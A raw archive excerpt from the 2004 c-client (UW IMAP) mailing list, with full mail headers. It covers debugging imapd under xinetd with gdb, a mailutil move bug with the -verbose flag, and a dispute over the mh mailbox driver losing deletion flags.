mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AMoP78015574 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 15:50:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AMo6HM013908; Thu, 10 Jun 2004 15:50:06 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AMm9QF066322 for ; Thu, 10 Jun 2004 15:48:09 -0700 Received: from smtp2.Stanford.EDU (smtp2.Stanford.EDU [171.67.16.125]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AMm8qI016243 for ; Thu, 10 Jun 2004 15:48:08 -0700 Received: from elaine36.Stanford.EDU (elaine36.Stanford.EDU [171.64.15.111]) by smtp2.Stanford.EDU (8.12.11/8.12.11) with ESMTP id i5AMm5pB024918 for ; Thu, 10 Jun 2004 15:48:05 -0700 Received: (from erikdw@localhost) by elaine36.Stanford.EDU (8.12.10/8.12.9) id i5AMm5aL011158 for c-client@u.washington.edu; Thu, 10 Jun 2004 15:48:05 -0700 (PDT) Message-Id: <20040610224804.GA10937@elaine36.stanford.edu> Date: Thu, 10 Jun 2004 15:48:05 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Damian Weathers To: c-client@u.washington.edu Subject: using gdb w/ imapd & xinetd Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN ---------------------------------- resending 'cause I never saw this appear in my inbox and I am not sure if it was really delivered to the mailing list. ---------------------------------- hi all. I need to use gdb w/ to debug problems I'm having setting up imapd in a "non-standard way" (is the "standard way" documented somewhere?). However, I'm a total newbie at using gdb w/ xinetd based socket programs. I figure there must be some simple, straight forward way of using gdb in this scenario. (And apparently undocumented -- extensive searches of google and the c-client archive yielded jack.) After all, there are tons of developers working on network programs that run under xinetd; how is debugging done if not thru gdb? I've tried to attach gdb to an already running imapd process execv'ed by xinetd, but get errors like this: Couldn't get registers: Operation not permitted. ptrace: Operation not permitted. My assumption is that the imapd process is sorta zombied at this point and not fully operational, but really I have no clue. I am aware that you can run gdb on imapd w/o going thru xinetd and manually enter the imap cmds, e.g., gdb imapd/imapd run ... a002 select "INBOX" But I'd like to be able to run my standard imap client (firebird) and use gdb on the instance of imapd that firebird connects to. any help is appreciated. thanks, - Erik -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 23:53:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 23:53:55 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B6rt8v017522 for ; Thu, 10 Jun 2004 23:53:55 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B6rr1u021421 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 23:53:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5B6rZEQ010854; Thu, 10 Jun 2004 23:53:35 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B6oirb066490 for ; Thu, 10 Jun 2004 23:50:44 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B6oeVs005557 for ; Thu, 10 Jun 2004 23:50:41 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id i5B6obBL007996 for ; Fri, 11 Jun 2004 08:50:38 +0200 (CEST) Received: from corbeau.imag.fr ([129.88.43.162] ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1BYfs5-00011F-00 for ; Fri, 11 Jun 2004 08:50:37 +0200 Message-Id: Date: Fri, 11 Jun 2004 08:50:37 +0200 (MEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: mailutil move leaves last message MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: kowalski@corbeau.imag.fr X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. When I use the following command like to move messages from an IMAP folder to a local unix folder, it seems that the last message in the folder is never deleted: mailutil move -verbose '{my-imap-server}spam' $HOME/.tmpspam What am I doing wrong ? Thanks. -- Nicolas -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 11 00:28:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 00:28:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B7SVbY018554 for ; Fri, 11 Jun 2004 00:28:31 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B7STIc030302 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 00:28:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5B7Rxeu011304; Fri, 11 Jun 2004 00:27:59 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B7RAJc041394 for ; Fri, 11 Jun 2004 00:27:10 -0700 Received: from mail1.bluewin.ch (mail1.bluewin.ch [195.186.1.74]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B7R8kT010944 for ; Fri, 11 Jun 2004 00:27:09 -0700 Received: from localhost (213.3.41.22) by mail1.bluewin.ch (Bluewin AG 7.0.028) id 40BC705C0016DFB4; Fri, 11 Jun 2004 07:27:00 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BYgRG-0000EJ-00; Fri, 11 Jun 2004 09:26:58 +0200 Message-Id: Date: Fri, 11 Jun 2004 09:26:57 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mh not keeping flags intact when doing a check In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Mark Crispin wrote: > On Thu, 10 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > > But I don't understand what would be required to fix it. I can't see > > the big picture. AFAI can see mh_ping is not changing the status of > > messages. > > mh format does not have any place to store flags permanently. Flags are > only maintained for a session, after which they are lost. The problem I'm fighting against here is that when reopening a connection the c-client's mh driver will loose knowledge of which messages were removed. And wrt *that* "flag", my sources seem to be clear - a removed message is prepended with a ',' or with a '#' [1] (that's what one of the mh users is seeing in RL as well). IMHO c-client should do just that: rename all the removed messages, but ... But even if it doesn't, then it should remove - however that should be done - removed messages at mh_check instead of forgeting about the fact they were removed. ? *t [1] http://www.ics.uci.edu/~mh/book/mh/rem.htm -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jun 11 00:35:28 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 00:35:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B7ZRVY018728 for ; Fri, 11 Jun 2004 00:35:27 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B7ZPj9030480 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 00:35:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5B7ZDrF011172; Fri, 11 Jun 2004 00:35:14 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B7YkZk083062 for ; Fri, 11 Jun 2004 00:34:46 -0700 Received: from mail5.bluewin.ch (mail5.bluewin.ch [195.186.1.207]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B7YedX006613 for ; Fri, 11 Jun 2004 00:34:41 -0700 Received: from localhost (213.3.41.22) by mail5.bluewin.ch (Bluewin AG 7.0.028) id 40A46B2100376881; Fri, 11 Jun 2004 07:34:00 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BYgY3-0000EX-00; Fri, 11 Jun 2004 09:33:59 +0200 Message-Id: Date: Fri, 11 Jun 2004 09:33:59 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Mark Crispin Cc: Vadim Zeitlin , Subject: Re[3]: mh not keeping flags intact when doing a check In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Mark Crispin wrote: > mh is a dead format. The only purpose to support it is for compatibility > with the past; and without that compatibility it isn't worth supporting. Allthough mailsync beeing a tiny little tool lost somewhere in the huge masses of OSS I do have 2-3 users that I know of that they are using mh. I can't say in what quantitative relation to other mailformats that number is though. *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jun 11 01:26:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 01:26:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8QZ4d020789 for ; Fri, 11 Jun 2004 01:26:35 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8QVQ4023835 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 01:26:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5B8QH1S014054; Fri, 11 Jun 2004 01:26:18 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B8P5R5055708 for ; Fri, 11 Jun 2004 01:25:05 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B8P453016111 for ; Fri, 11 Jun 2004 01:25:04 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8P3WF024554; Fri, 11 Jun 2004 01:25:03 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8P31O006169; Fri, 11 Jun 2004 01:25:03 -0700 Message-Id: Date: Fri, 11 Jun 2004 01:25:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > The problem I'm fighting against here is that when reopening a connection > the c-client's mh driver will loose knowledge of which messages were > removed. That problem is insurmountable. If it is a problem for you, the solution is simple: do not use mh format. > And wrt *that* "flag", my sources seem to be clear - a removed message is > prepended with a ',' or with a '#' [1] (that's what one of the mh users is > seeing in RL as well). Like POP style deletion, what mh calls "deletion" seems similar to IMAP deletion (and c-client implements strict IMAP semantics). That similarity is deceptive. Once you do a careful study of how mh actually works and what IMAP requires, it becomes clear that it is impossible to implement the IMAP semantics of deletion using mh deletion. There is a difference between "working some of the time" and "working all the time"; and it is not an option to deviate from strict compliance with IMAP requirements. If it was possible to do it, I would have done it 12 years ago. The solution is not to use mh format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jun 11 01:42:29 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 01:42:28 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8gS5v021933 for ; Fri, 11 Jun 2004 01:42:28 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8gQNM032233 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 01:42:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5B8gE3f013134; Fri, 11 Jun 2004 01:42:14 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B8fCsx056726 for ; Fri, 11 Jun 2004 01:41:12 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B8fBcm005345 for ; Fri, 11 Jun 2004 01:41:11 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8fAbD001260; Fri, 11 Jun 2004 01:41:10 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8fAQm006400; Fri, 11 Jun 2004 01:41:10 -0700 Message-Id: Date: Fri, 11 Jun 2004 01:41:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nicolas Kowalski Cc: c-client@u.washington.edu Subject: Re: mailutil move leaves last message In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jun 2004, Nicolas Kowalski wrote: > When I use the following command like to move messages from an IMAP > folder to a local unix folder, it seems that the last message in the > folder is never deleted: Don't use -verbose This bug will be fixed in the next version -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jun 11 01:53:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 01:53:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8rd0b022363 for ; Fri, 11 Jun 2004 01:53:39 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8rbLT024583 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 01:53:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5B8rLdC005164; Fri, 11 Jun 2004 01:53:21 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5B8qO33056688 for ; Fri, 11 Jun 2004 01:52:24 -0700 Received: from imag.imag.fr (imag.imag.fr [129.88.30.1]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5B8qIpc029547 for ; Fri, 11 Jun 2004 01:52:19 -0700 Received: from mail-veri.imag.fr (pave.imag.fr [129.88.43.12]) by imag.imag.fr (8.12.10/8.12.10) with ESMTP id i5B8qFXg028282 for ; Fri, 11 Jun 2004 10:52:16 +0200 (CEST) Received: from corbeau.imag.fr ([129.88.43.162] ident=kowalski) by mail-veri.imag.fr with esmtp (Exim 3.35 #1 (Debian)) id 1BYhln-0003gp-00 for ; Fri, 11 Jun 2004 10:52:15 +0200 Message-Id: Date: Fri, 11 Jun 2004 10:52:15 +0200 (MEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nicolas Kowalski To: c-client@u.washington.edu Subject: Re: mailutil move leaves last message In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: kowalski@corbeau.imag.fr X-IMAG-MailScanner: Found to be clean X-IMAG-MailScanner-Information: Please contact the ISP for more information X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jun 2004, Mark Crispin wrote: > On Fri, 11 Jun 2004, Nicolas Kowalski wrote: > > When I use the following command like to move messages from an IMAP > > folder to a local unix folder, it seems that the last message in the > > folder is never deleted: > > Don't use -verbose Ok, Thanks for the tip. -- Nicolas From pinedev@shivax2.cac.washington.edu Fri Jun 11 07:05:53 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 07:05:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BE5rxL001897 for ; Fri, 11 Jun 2004 07:05:53 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BE5pFG008127 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 07:05:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5BE5NaD015936; Fri, 11 Jun 2004 07:05:23 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5BE4Ln7019692 for ; Fri, 11 Jun 2004 07:04:21 -0700 Received: from mail2.bluewin.ch (mail2.bluewin.ch [195.186.4.73]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BE4EIL019080 for ; Fri, 11 Jun 2004 07:04:15 -0700 Received: from localhost (83.77.82.203) by mail2.bluewin.ch (Bluewin AG 7.0.028) id 40A468960036D007; Fri, 11 Jun 2004 14:04:11 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BYmdf-0000HB-00; Fri, 11 Jun 2004 16:04:11 +0200 Message-Id: Date: Fri, 11 Jun 2004 16:04:10 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mh not keeping flags intact when doing a check In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jun 2004, Mark Crispin wrote: > On Fri, 11 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > > The problem I'm fighting against here is that when reopening a connection > > the c-client's mh driver will loose knowledge of which messages were > > removed. > > That problem is insurmountable. > > If it is a problem for you, the solution is simple: do not use mh format. Let me see what my users will answer me. > > And wrt *that* "flag", my sources seem to be clear - a removed message is > > prepended with a ',' or with a '#' [1] (that's what one of the mh users is > > seeing in RL as well). > > Like POP style deletion, what mh calls "deletion" seems similar to IMAP > deletion (and c-client implements strict IMAP semantics). That similarity > is deceptive. Once you do a careful study of how mh actually works and > what IMAP requires, it becomes clear that it is impossible to implement > the IMAP semantics of deletion using mh deletion. There is a difference > between "working some of the time" and "working all the time"; and it is > not an option to deviate from strict compliance with IMAP requirements. > > If it was possible to do it, I would have done it 12 years ago. > > The solution is not to use mh format. So it's better to leave the mh driver broken and very hard to use in a useful way, because it would not be possible to make it "strictly IMAP semantics compliant" (presonally it's still not clear why). *Is* the mh driver "strictly IMAP semantics compiant" right now? Is the fact that a) it forgets about all the flags and b) when reusing an open connection it just forgets about all the deleted messages "strictly IMAP semantics compliant"? Would it make the situation worse to fix that behaveour? *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Fri Jun 11 09:46:16 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jun 2004 09:46:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BGkGe9010086 for ; Fri, 11 Jun 2004 09:46:16 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BGkDA3006724 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 11 Jun 2004 09:46:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5BGiJsk005286; Fri, 11 Jun 2004 09:44:19 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5BGgm1g071818 for ; Fri, 11 Jun 2004 09:42:48 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5BGgmsA009750 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 11 Jun 2004 09:42:48 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5BGglbL024507; Fri, 11 